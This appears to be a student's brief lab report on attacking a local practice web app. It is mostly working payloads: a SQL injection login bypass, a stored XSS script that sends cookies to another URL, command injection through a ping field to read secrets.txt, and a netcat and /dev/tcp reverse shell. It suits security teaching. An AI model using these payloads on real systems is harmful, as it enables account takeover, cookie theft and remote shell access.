report.md

SQL injection

Task 1: SQL injection

- username: `alice@alice.com' --`
- Leave password empty
  - In SQL, `--` is comment

Task 2: persistent XSS

- XSS:
  - type into comments box:
  - `<script type='text/javascript'> alert(document.cookie); </script>`

```
<script type='text/javascript'>
    if (window.location.href.includes('news')){
        console.log('done');
    }else{
        window.location = 'http://localhost:5005/news?text=' + document.cookie;
    }
</script>
```

Task 3: reflected XSS: link: `http://localhost:5005/malicious`

Task 4: reverse shell:

- To echo the contents of secrets.txt:
- `127.0.0.1; cat secrets.txt`
- To open reverse shell:
- On attacker machine:
  - listen with port 8080, verbose `nc -lvp 8080`
  - On victim:
  - Command is `bash -i >& /dev/tcp/127.0.0.1/8080 0>&1`

Therefore, this needs to be keyed into the ping:

- `127.0.0.1; bash -i >& /dev/tcp/127.0.0.1/8080 0>&1`